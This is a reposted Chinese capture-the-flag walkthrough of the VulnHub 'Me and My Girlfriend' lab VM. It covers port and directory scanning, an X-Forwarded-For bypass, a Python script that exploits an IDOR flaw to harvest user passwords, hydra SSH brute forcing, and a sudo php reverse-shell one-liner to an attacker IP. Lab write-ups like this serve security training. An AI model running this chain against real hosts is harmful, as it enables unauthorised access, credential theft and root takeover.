Me-and-My-Girlfriend靶场

靶机下载:

https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/

一、信息收集

查找ip

nmap -sP 192.168.16.0/24

获取详细端口等信息

 nmap -sV -sC -A -p 1-65535 192.168.16.209

image-20230822104814663

目录扫描

gobuster   dir -u http://192.168.16.209  -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 

image-20230822104904729

二、水平越权漏洞

访问网站,提示只能使用本地服务器访问

image-20230822105023594

通过插件替换为127.0.01,在刷新访问

提示需要用x-forwarded-for头部

X-Forwarded-For(XFF)请求标头是一个事实上的用于标识通过代理服务器连接到 web 服务器的客户端的原始 IP 地址的标头。

image-20230822140446422

下载插件:modhearder

添加头部信息点击转发重新刷新页面

image-20230822140342249

web分析

image-20230822140655990

可以看到有注册框

注册账号

登录

image-20230822141116135

看到url后面有id值,尝试修改,测试有没有逻辑越权漏洞

可以看到列出了新的用户和隐藏的密码

image-20230822141316564

点击显示密码

image-20230822142033025

或者在

image-20230822142122625

测试了一下有十三个用户

编写python脚本

通过模拟 HTTP 请求来访问一个网站的不同用户的 profile 页面,并从 HTML 中提取用户名和密码信息。

#coding:utf-8 
import requestsfrom bs4 import BeautifulSoup
#导入所需的库:requests 用于发送 HTTP 请求,BeautifulSoup 用于解析 HTML 内容if __name__ == '__main__':for user_id in range(1, 13):url='http://192.168.16.209/index.php?page=profile&user_id='+ str(user_id)response = requests.get(url, headers={'X-Forwarded-For': '127.0.0.1', 'Cookie': 'PHPSESSID=fu0levanb4i9koc99b0n4vlst2'})#构建目标URL,使用 user_id 替换为循环变量的当前值,同时提供伪造的 X-Forwarded-For 和 Cookie 头部,以模拟请求。dom = BeautifulSoup(response.content.decode('UTF-8'))#使用 BeautifulSoup 对象来提取用户名和密码,dom.find('input', id='username')['value'] 用于找到带有指定ID属性的 <input> 元素,并获取其 value 属性。 username = dom.find('input', id='username')['value']passwd = dom.find('input', id='password')['value']if username:print(username + ":" + passwd)

image-20230822150134154

最后得到:

eweuhtandingan:skuyatuh
aingmaung:qwerty!!!
sundatea:indONEsia
sedihaingmah:cedihhihihi
alice:4lic3
abdikasepak:dorrrrr
a:a

冒号分割格式可以用于hrdra爆破密码,保存为一个文件使用hydra尝试

image-20230822151145490

三、ssh爆破

工具hydra

hydra -C 1.txt ssh://192.168.16.209 -C FILE   用冒号分隔的 "login:pass" 格式,代替 -L/-P 选项

得到可以账号:alice,密码:4lic3

image-20230822152009957

登录

 ssh alice@192.168.16.209

image-20230822152233679

得到第一个flag

image-20230822152535670

四、提权

查看当前用户的管理员权限

sudo -l

image-20230822154422938

(root) NOPASSWD: /usr/bin/php

这意味着拥有此权限的用户(在此为 root 用户)可以在不输入密码的情况下执行 /usr/bin/php 命令,以 root 权限运行 PHP 解释器。

可以使用php反弹shell

执行:

sudo  php -r '$sock=fsockopen("192.168.16.180",8888);exec("/bin/sh -i <&3 >&3 2>&3");'加上sudo执行,反弹的就是管理员用户了

image-20230822155224169

反弹成功

得到第二个flag

image-20230822155334067

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/82059.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ARM-汇编指令

一&#xff0c;map.lds文件 链接脚本文件 作用&#xff1a;给编译器进行使用&#xff0c;告诉编译器各个段&#xff0c;如何进行分布 /*输出格式&#xff1a;32位可执行程序&#xff0c;小端对齐*/ OUTPUT_FORMAT("elf32-littlearm", "elf32-littlearm",…

react之react-redux的介绍、基本使用、获取状态、分发动作、数据流、reducer的分离与合并等

react之react-redux的介绍、基本使用、获取状态、分发动作、数据流、reducer的分离与合并等 一、react-redux介绍二、React-Redux-基本使用三、获取状态useSelector四、分发动作useDispatch五、 Redux 数据流六、代码结构七、ActionType的使用八、Reducer的分离与合并九、购物挣…

基于CentOS7.9安装部署docker(简洁版)

安装部署 1基于官方脚本安装&#xff08;不推荐 不能自行选择版本&#xff09; 官方文档&#xff1a;https://docs.docker.com/engine/install/centos/ 2 使用yum安装 阿里云文档&#xff1a;docker-ce镜像_docker-ce下载地址_docker-ce安装教程-阿里巴巴开源镜像站 # ste…

大数据课程K6——Spark的Shuffle详解

文章作者邮箱:yugongshiye@sina.cn 地址:广东惠州 ▲ 本章节目的 ⚪ 了解Spark的定义&&特点&&目的&&优缺点; ⚪ 掌握Spark的相关参数配置; ⚪ 掌握Hadoop的插件配置; 一、Spark Shuffle详解 1. 概述 Shuffle,就是洗牌。之所以…

python爬虫实战(3)--爬取某乎热搜

1. 分析爬取地址 打开某乎首页&#xff0c;点击热榜 这个就是我们需要爬取的地址&#xff0c;取到地址某乎/api/v3/feed/topstory/hot-lists/total?limit50&desktoptrue 定义好请求头&#xff0c;从Accept往下的请求头全部复制&#xff0c;转换成json headers {Accep…

Nacos配置管理、Feign远程调用、Gateway服务网关

1.Nacos配置管理 1.1.将配置交给Nacos管理的步骤 1.在Nacos中添加配置 Data Id服务名称-环境名称.yaml eg&#xff1a;userservice-dev.yaml 2.引入nacos-config依赖 在user-service服务中&#xff0c;引入nacos-config的客户端依赖 <!--nacos配置管理依赖--> <dep…

elment-ui中使用el-steps案例

el-steps案例 样式 代码 <div class"active-box"><div class"active-title">请完善</div><el-steps :active"active" finish-status"success" align-center><el-step title"第一步" /><…

恒运资本:什么是股票分红和基金分红?两者有什么区别?

出资者在进行股票出资和基金出资的时分&#xff0c;能够参与股票分红或许基金分红&#xff0c;可是许多新手对分红不是很了解。那么什么是股票分红和基金分红&#xff1f;两者有什么区别&#xff1f;下面就由恒运资本为大家分析&#xff1a; 什么是股票分红和基金分红&#xff…

阿里云服务器和腾讯云服务器折扣对比_哪家折扣低?

阿里云服务器和腾讯云服务器根据购买时长可以享受一定的优惠折扣&#xff0c;综合对比下来腾讯云折扣更低&#xff0c;阿腾云来对比下阿里云和腾讯云的云服务器根据购买时长可以享受的常规折扣对比&#xff1a; 目录 阿里云和腾讯云折扣对比 阿里云服务器常规折扣 腾讯云服…

【LeetCode 】数组简介

集合列表和数组 本文中介绍的概念为适用于所有编程语言的抽象理论&#xff0c;具体实现会由编程语言的不同而稍有差别。 具体介绍数组之前&#xff0c;我们先来了解一下集合、列表和数组的概念之间的差别。 集合 集合一般被定义为&#xff1a;由一个或多个确定的元素所构成的…

【前端】深入理解CSS盒子模型与浮动

目录 一、前言二、盒子模型1、盒子模型组成1.1、border边框1.1.1、边框的三部分组成1.1.2、边框复合简写1.1.3、边框分开写1.1.4、表格的细线边框 1.2、padding内边距1.3、margin外边距1.3.1、外边距水平居中1.3.2、外边距合并1.3.3、嵌套块元素垂直 外边距的塌陷1.3.3.1、解决…

浅谈Spark的RDD、部署模式

一、RDD Spark RDD&#xff08;弹性分布式数据集&#xff09;&#xff0c;弹性是指Spark可以通过重新计算来自动重建丢失的分区。 从本质上讲&#xff0c;RDD 是数据元素的不可变分布式集合&#xff0c;跨集群中的节点进行分区&#xff0c;可以与提供转换和操作的低级 API 并行…